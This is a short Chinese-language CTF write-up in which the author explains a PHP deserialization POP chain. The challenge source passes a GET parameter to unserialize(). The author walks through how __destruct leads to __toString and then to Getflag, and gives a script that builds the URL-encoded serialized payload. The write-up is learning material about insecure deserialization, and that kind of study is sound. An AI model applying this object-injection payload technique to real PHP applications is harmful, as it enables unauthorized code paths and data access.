本来该期末考试了放弃看pop链表了,可是突然看着看着就通透了,那就赶紧记录下来,万一忘记了呢。
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
这道题应该是pop链表的入门题,但对于我这种菜鸡来说还是有点难度的,话不多说,直接解析。
unserialize($w00m);从这一行可以看出是进行反序列化操作,从后面往前推最后肯定是为了调用输出Getflag------>想要调用这个就用到了魔术方法 ————tostring---------->想进行这个就用到了—destruct魔术方法。所以顺序已经摸清楚接下里构造。
看下图,
$a = new w22m();是把类给了a
然后$a->w00m = new w33m();因为w22m中woom是其中的可控对象 ——tostring操作就是
$a->w00m->w00m=new w44m(); w33m中woom也是其中可控对象
$a->w00m->w22m='Getflag';
w00m是w33m对象,w22m是getflag
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$a = new w22m();
$a->w00m = new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>